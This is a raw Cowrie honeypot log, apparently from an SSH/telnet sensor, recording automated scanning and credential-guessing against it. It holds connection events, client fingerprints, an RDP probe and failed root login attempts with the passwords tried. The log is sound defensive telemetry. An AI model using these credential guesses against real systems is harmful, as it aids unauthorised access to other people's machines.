{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:05.837943Z","src_ip":"45.119.212.99","session":"1dbe5f857c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lager","message":"login attempt [root/lager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:07.073851Z","src_ip":"45.119.212.99","session":"1dbe5f857c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd1c6ab6d785","protocol":"ssh","message":"New connection: 157.230.190.155:38200 (10.17.0.5:22) [session: bd1c6ab6d785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:07.270910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:07.275679Z","src_ip":"157.230.190.155","session":"bd1c6ab6d785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:07.280945Z","src_ip":"157.230.190.155","session":"bd1c6ab6d785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Os3leni*","message":"login attempt [root/Os3leni*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:07.333671Z","src_ip":"157.230.190.155","session":"bd1c6ab6d785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:08.343019Z","src_ip":"157.230.190.155","session":"bd1c6ab6d785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:08.419134Z","src_ip":"45.119.212.99","session":"1dbe5f857c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":11484,"dst_ip":"10.17.0.5","dst_port":22,"session":"a950b2b7bf9c","protocol":"ssh","message":"New connection: 80.225.252.182:11484 (10.17.0.5:22) [session: a950b2b7bf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:44.204591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:44.209679Z","src_ip":"80.225.252.182","session":"a950b2b7bf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:44.408170Z","src_ip":"80.225.252.182","session":"a950b2b7bf9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nintendo","message":"login attempt [root/nintendo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:45.309731Z","src_ip":"80.225.252.182","session":"a950b2b7bf9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36828,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57b6cd07386","protocol":"ssh","message":"New connection: 103.176.20.57:36828 (10.17.0.5:22) [session: a57b6cd07386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:46.321200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:46.326668Z","src_ip":"103.176.20.57","session":"a57b6cd07386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:46.507739Z","src_ip":"80.225.252.182","session":"a950b2b7bf9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:46.576079Z","src_ip":"103.176.20.57","session":"a57b6cd07386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pretty","message":"login attempt [root/pretty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:47.323812Z","src_ip":"103.176.20.57","session":"a57b6cd07386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:19:48.575145Z","src_ip":"103.176.20.57","session":"a57b6cd07386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":54536,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa885dfcba3","protocol":"ssh","message":"New connection: 45.119.212.99:54536 (10.17.0.5:22) [session: 3aa885dfcba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:32.877633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:32.883337Z","src_ip":"45.119.212.99","session":"3aa885dfcba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:33.169209Z","src_ip":"45.119.212.99","session":"3aa885dfcba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":42378,"dst_ip":"159.203.135.109","dst_port":22,"session":"036567364afa","protocol":"ssh","message":"New connection: 103.15.222.183:42378 (159.203.135.109:22) [session: 036567364afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:33.270113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:33.278208Z","src_ip":"103.15.222.183","session":"036567364afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:33.531091Z","src_ip":"103.15.222.183","session":"036567364afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19991999","message":"login attempt [root/19991999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:34.288959Z","src_ip":"103.15.222.183","session":"036567364afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmail","message":"login attempt [root/gmail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:34.296252Z","src_ip":"45.119.212.99","session":"3aa885dfcba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:35.545551Z","src_ip":"103.15.222.183","session":"036567364afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:35.567209Z","src_ip":"45.119.212.99","session":"3aa885dfcba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56362,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1163488ead1","protocol":"telnet","message":"New connection: 192.119.13.58:56362 (10.17.0.5:23) [session: c1163488ead1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:36.243396Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42368,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7d7ed250d9","protocol":"ssh","message":"New connection: 80.94.92.184:42368 (159.203.135.109:22) [session: 3a7d7ed250d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:42.157523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:42.267504Z","src_ip":"80.94.92.184","session":"3a7d7ed250d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:42.271629Z","src_ip":"80.94.92.184","session":"3a7d7ed250d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv123","message":"login attempt [solv/solv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:43.246314Z","src_ip":"80.94.92.184","session":"3a7d7ed250d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:44.557441Z","src_ip":"80.94.92.184","session":"3a7d7ed250d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52441,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a50c35d85f","protocol":"ssh","message":"New connection: 167.172.81.52:52441 (159.203.135.109:22) [session: c4a50c35d85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:58.376531Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:58.382095Z","src_ip":"167.172.81.52","session":"c4a50c35d85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:20:58.385786Z","src_ip":"167.172.81.52","session":"c4a50c35d85f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00609469413757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:03.565637Z","src_ip":"181.233.89.140","session":"24f5906ac634","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.233.89.140","src_port":51878,"dst_ip":"10.17.0.5","dst_port":23,"session":"12074df9d009","protocol":"telnet","message":"New connection: 181.233.89.140:51878 (10.17.0.5:23) [session: 12074df9d009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:04.026819Z"}
{"eventid":"cowrie.session.closed","duration":36.966352224349976,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:13.209595Z","src_ip":"192.119.13.58","session":"c1163488ead1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":37214,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c6305cb7338","protocol":"ssh","message":"New connection: 157.230.190.155:37214 (10.17.0.5:22) [session: 7c6305cb7338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:14.462290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:14.466555Z","src_ip":"157.230.190.155","session":"7c6305cb7338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:14.471016Z","src_ip":"157.230.190.155","session":"7c6305cb7338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcs","message":"login attempt [root/mcs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:14.520434Z","src_ip":"157.230.190.155","session":"7c6305cb7338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:21:15.528445Z","src_ip":"157.230.190.155","session":"7c6305cb7338","protocol":"ssh"}
